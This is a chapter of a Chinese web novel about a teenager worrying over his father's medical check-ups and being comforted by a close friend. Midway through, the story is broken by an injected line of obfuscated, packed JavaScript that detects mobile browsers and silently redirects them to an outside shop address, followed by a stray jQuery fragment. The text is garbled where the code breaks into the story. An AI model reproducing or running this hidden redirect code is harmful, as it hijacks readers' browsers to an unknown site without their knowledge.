出院后的第三天，苌斓拆了线。后脑勺的伤口愈合得很好，只剩一道浅粉色的痕迹，被新长出来的头发遮住，不仔细看根本发现不了。忘海每天早上还是站在路口等他，手里揣着保温杯，围巾换回了深灰色那条——血迹早就洗掉了，只留下一点极淡的暗痕，不说是血，谁也看不出来。
一切都在回到正轨。直到那个周六。
苌斓起床的时候就觉得不太对劲。厨房里没有豆浆机的嗡鸣，没有锅铲碰铁锅的声响，只有一种很轻的、压低了声音的交谈。他推开门，看见父亲坐在沙发上，手边放着一杯白开水，没喝。母亲站在窗前背对着客厅，手指无意识地绞着围裙边缘。茶几上摊着几张纸，是医院的检查单。
“爸？”他的声音有些紧。父亲抬起头，表情和平时一样平稳，但苌斓注意到他把检查单翻了过去，动作很自然，像是无意间翻了一页报纸。“没事。例行体检，有几个指标偏高，医生让复查一下。”母亲转过身来，脸上挂着笑，和每天早上说“路上小心”时一模一样。“你爸最近太累了。吃点好的补补就行。你今天不是要和忘海去图书馆？快吃早饭。”
苌斓看着他们。这两个人，一个是他的亲生父亲，一个是他的亲生母亲，失散了十六年才把他找回来。他们从来不跟他说任何不好的事。父亲每天早上把豆浆倒进保温杯时从来不说自己昨晚有没有睡好，母亲往他书包里塞水果时从来不提自己有没有哪里不舒服。他们把所有的温柔都给了他，把所有的担忧都藏在自己心里。
他没有追问，只是坐下来吃早饭。粥是母亲熬的，放了山药和红枣，和他住院时父亲凌晨起来熬的那锅一样。他吃着吃着，忽然说：“爸，体检报告出来告诉我。我陪你去复查。”父亲端起水杯的动作停了一下，然后喝了一口，应了一声：“好。”
下午在图书馆，苌斓一直有些心不在焉。忘海坐在他对面，面前摊着一本数学练习册，翻到第三页就没再动过。在苌斓第四次把笔放下又拿起来之后，忘海合上了练习册。“叔叔身体不舒服？”
苌斓抬起头。“……你怎么知道。”
“你一直在转笔。你平时不转笔的。”忘海的声音很轻，“你只有在担心什么事的时候才会转。”
苌斓低头看着自己手里的笔，果然在转。他把笔放在桌上，沉默了一会儿。“我爸说没事。但他们从来不跟我说不好的事。十六年不在他们身边，他们现在只想把好的都给我。不舒服不说，累了不说，体检报告翻过去不让我看。我不需要他们瞒着我。我已经不是小孩了。”
忘海安静地听着，然后把手从桌子对面伸过来，摊开掌心。“你也不是一个人。”
苌斓看着那只摊开的掌心，上面有一道淡淡的疤，虎口的位置。他把自己的手放上去，指尖搭在忘海的指节上。“……我知道。只是有时候还是会怕。怕他们有什么事，怕我还没来得及——”
“来得及。”忘海握紧他的手，“你还会有很多时间。陪他去复查，盯着他吃药，跟你妈一起往他碗里夹菜。就像他们对你一样。”
苌斓看着两人交握的手，极轻极轻地弯了一下嘴角。然后他抽回手翻开笔记本。“做题。你数学练习册才翻到第三页。”忘海弯了一下眼睛，也翻开自己的练习册。铅笔划过纸面的声音重新填满了他们之间的安静。
隔天，苌斓陪父亲去复查。忘海也去了，说是顺路，从家里坐车过来明明是反方向。他在医院走廊的塑料椅上坐着，看苌斓和母亲一左一右陪在父亲身边。父亲从诊室出来的时候手里拿着一沓新的检查单，表情依旧平稳，说医生让再查几个项目，问题不大。苌斓接过那沓单子一张一张翻看，很多专业术语看不懂，但母亲凑过来看了一眼，说了句“这个指标比上次降了，那个还在正常范围”，语气很平常，像是在说今天的菜价。苌斓看了母亲一眼。她看得懂。她一定是在家偷偷查了很久，把每个指标都背下来了。他什么都没说，只是把检查单叠好放回父亲的包里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724384|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回到家里，母亲做饭，父亲被勒令在沙发上休息。苌斓站在厨房门口，看着母亲把当归和黄芪放进汤锅里，枸杞撒了一把，红枣去了核。炉火上的砂锅咕嘟咕嘟冒着热气，药膳的清香弥漫了整个厨房。
“你爸年轻的时候身体特别好，”母亲忽然开口，声音很轻，像是在自言自语，“冬天穿一件单衣就能出门。现在不行了。这些年找他，到处跑，吃不好睡不好，落了一身毛病。”她顿了顿，把火调小，看着砂锅里的汤慢慢翻滚。“但他不让说。他怕你担心。”
苌斓走过去，从母亲手里接过汤勺。“以后我有空就陪他去复查。忘海说了，豆浆里可以加山药。山药补气。”
母亲侧头看了他一眼，眼睛里有水光，但她没有哭。她只是伸手整了整苌斓的领口，和每天早上一样，说：“好。”
晚上，苌斓坐在书桌前。那颗画着笑脸的花生放在台灯下，旁边是忘海重新描过的核桃，旁边是父亲带回来的检查单。手机震了一下，是忘海的消息。
“山药豆浆明天带。你爸的汤药膳你妈煮了吗。”
“煮了。我爸说好喝。其实苦，当归放多了。但他喝完了。”
忘海发了一个小人靠在墙边的表情。苌斓看了很久，然后打字：“今天在医院走廊，你坐在那里等我，像之前我在手术室里你在外面等一样。那时候觉得，好像不管发生什么，你都在。”
“嗯。我一直都在。”
苌斓把手机屏幕按灭放在枕头旁边，翻了个身，把花生和核桃并排放在床头柜上。检查单在书桌上安静地躺着，上面的数字有些高有些低，但都在可控的范围内。厨房里砂锅还在咕嘟咕嘟地响，药膳的香味从门缝里钻进来。父亲在客厅里咳嗽了一声，母亲低声说了句什么。一切和每一天都一样。
明天早上，路口会有人在等他。保温杯里除了红枣，还有山药。他会有很多很多时间——陪父亲复查，盯着他吃药，和母亲一起往他碗里夹菜。就像他们对他一样。